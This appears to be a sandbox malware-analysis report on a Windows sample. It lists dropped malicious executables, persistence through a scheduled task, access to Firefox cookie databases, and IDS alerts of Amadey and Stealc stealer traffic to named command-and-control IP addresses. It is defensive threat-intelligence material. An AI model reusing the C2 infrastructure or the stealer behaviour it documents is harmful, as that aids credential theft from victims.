Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6..7...6..7...6..7...6..7...6...6...6..7...6..o6...6..7...6Rich...6................PE..d................."......\|...R#................@.............................0$.....8.#...`.......... ......................................<............ #.................. $. .......T...........................................(... ............................text....{.......\|.................. ..`.rdata...".......$..................@..@.data...............................@....pdata..............................@..@.rsrc....0#......"#.................@..@.reloc.. .... $.......#.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\HIDGCFBFBF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3296768
Entropy (8bit):	6.655721818767042
Encrypted:	false
SSDEEP:	49152:kVF+M26kfUw7yoxeBqOo7NjGOTIkets5JsE8p7OuEFWH:e4M26kfUwGoxeBqV7BVtZheKuEU
MD5:	41F7104E635F418EC5A33D817B5324D9
SHA1:	7C9A3124D4BF236A560C6A865B0034F79A65F875
SHA-256:	3301F21B0E9B43873293F712C6A8ECCB7746C09207E0CEDCFE836D060862C6F8
SHA-512:	7DFD8E767BE1B7904FF44B90CBC973A577F831DB0DC81C44167838146A8912EFE3631510FCF37451396206613419CA6D0FA0554A74AF1764D50C056A3B66338E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................>2..............................>2..................................................... . ............................@....rsrc...............................@....idata ............................@...fuapnweu..+.......+.................@...sdiwzxtv.....@2......&2.............@....taggant.0...P2.."...,2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\HIDGCFBFBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3296768
Entropy (8bit):	6.655721818767042
Encrypted:	false
SSDEEP:	49152:kVF+M26kfUw7yoxeBqOo7NjGOTIkets5JsE8p7OuEFWH:e4M26kfUwGoxeBqV7BVtZheKuEU
MD5:	41F7104E635F418EC5A33D817B5324D9
SHA1:	7C9A3124D4BF236A560C6A865B0034F79A65F875
SHA-256:	3301F21B0E9B43873293F712C6A8ECCB7746C09207E0CEDCFE836D060862C6F8
SHA-512:	7DFD8E767BE1B7904FF44B90CBC973A577F831DB0DC81C44167838146A8912EFE3631510FCF37451396206613419CA6D0FA0554A74AF1764D50C056A3B66338E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................>2..............................>2..................................................... . ............................@....rsrc...............................@....idata ............................@...fuapnweu..+.......+.................@...sdiwzxtv.....@2......&2.............@....taggant.0...P2.."...,2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\HIDGCFBFBF.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.452847952418278
Encrypted:	false
SSDEEP:	6:Bq5CuXUhXUEZ+lX1CGdKUe6tE9+AQy0l4zt0:Bw4Q1CGAFD9+nV4t0
MD5:	30E20AAE21FB8474F68B6176A334BE3A
SHA1:	325C2F08D6EFB8D56C6419EAB580BC67DCA6390A
SHA-256:	CD4DE9D77D3391E5BA5A44F59E9D3E5238221A56A073A5ED51C7D3BC279731C0
SHA-512:	706A96F75D0794FE17499FD318C028D65D3FBF6D7C173049F717347937C721CB9455F3B2E65EC596494611490AA9F7A2091EB592113FFD2BF964A4A630AF9FC8
Malicious:	false
Preview:	.....&.....A...<Y*.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0................./.@3P.........................

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (832)
Category:	downloaded
Size (bytes):	837
Entropy (8bit):	5.180659716397072
Encrypted:	false
SSDEEP:	24:MlusgpHYJygBFvvBHslgT9lCuABuFA7F7HHHHHHHYqmffffffo:MlusgWFHKlgZ01BuFYFEqmffffffo
MD5:	7AB67ED180A05932725FE553B273408B
SHA1:	2C3272E28F0746A33B6623B50991F386A087949E
SHA-256:	09C4B6AF6029B1AD9CB4AAA9FAFF0A44A7DE8D2EF5B814813B4507558D37A6D9
SHA-512:	81D6FFA891C6E7C589B2552822ABB6A5A6AC0B65F5CC730CDF8C3258A6E2889C085B437844C863AF475233E24FD97A9F0AA1D056F5444BD2978635CD2C23CE54
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mcdonald\u0027s is bringing back the snack wrap a beloved menu item in 2025","air jordan 11 gamma blue","ryan damron tennessee","notre dame cathedral paris reopening","new nintendo switch","nyt connections hints december 8","st nicholas tomb turkey","wnba expansion draft valkyries"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1251,1250,601,600,553,552,551,550],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134269
Entropy (8bit):	5.441609752682258
Encrypted:	false
SSDEEP:	3072:fGkX33ov7GsG688fJbk/5xnsYLWjwR2i6o:f53lr6t2/5xnsYawR8o
MD5:	84D7D065625A0E78FA327D3B78D59204
SHA1:	6275C11226ADFA81061FA9641FA58B02BAC62A93
SHA-256:	B90EF06F2332A7AF25E4262A2001EA35BE5E490291B36EBCA6853D11CFCB64A7
SHA-512:	53E4E4736242686AB69F497180D7E353815EB3D26634FBB5D1C395596C733E1A3F1E50D850929605B53DB6C4A1D6098D14B9AE3B50ACCE0612B0406397A01FAC
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9448502787408435
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'808'384 bytes
MD5:	da3e48a074978cf8a3eeaa8e523a1b35
SHA1:	959463b589892d5aad9ce625ce81b2339dbe8b22
SHA256:	b0759e11c119210c0c58de1f33b83e5aa09b7db04769ef3252287f09fa5b83d1
SHA512:	8605149816281fd07bf933274fdefb9e91ff8621091a27452348d663cf7e40b8855748ab0ad5ff592be60ec770ea941476be98a760a22d6d149055908338f584
SSDEEP:	49152:sFq/n9VHqEz3vx7AbXFhwojv0DjHbyXId+:sQVVHR8Iojv0nHuu
TLSH:	DE8533B64E54BADCC63E46BF414A671C3AE182701C1147DF134263A6F3BBB58FB29861
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa90000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0C007DB26Ah
pcmpeqd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx+eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007F0C007DB1E2h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
fiadd word ptr [ebx]
add byte ptr [eax], al
push es
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	2f7af423d0e510305695da4cf4c56556	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	104fc0109397bfeb0ad02b9e02be7e7c	False	0.58203125	data	4.558245965811084	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a3000	0x200	acdfff59eff62191fd092df6beddd655	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zpydkcfj	0x4ef000	0x1a0000	0x19f400	a53e8532aff9b1a1fb90b6c7f4d08a61	False	0.994770892910897	data	7.9530954019592155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rixwnxxb	0x68f000	0x1000	0x400	bb39d2b3c85ab867b6fbf921e50944a3	False	0.7861328125	data	6.192631270741384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x690000	0x3000	0x2200	b28b84d57c8514b50e1687fb698b33af	False	0.12212775735294118	DOS executable (COM)	1.6092283075937295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68e134	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-08T17:45:00.656732+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50027	TCP
2024-12-08T17:45:11.516968+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:11.968904+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:12.091163+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-12-08T17:45:12.416454+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:12.538060+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-12-08T17:45:13.863104+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:14.817969+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	185.215.113.206	80	TCP
2024-12-08T17:45:42.563938+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:44.480093+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:45.771829+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:47.248941+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:50.741867+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:51.818713+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49805	185.215.113.206	80	TCP
2024-12-08T17:45:57.935682+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49864	185.215.113.16	80	TCP
2024-12-08T17:47:06.597493+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50020	185.215.113.43	80	TCP
2024-12-08T17:47:11.059241+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50032	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 17:45:00.656732082 CET	443	49706	40.126.53.17	192.168.2.6
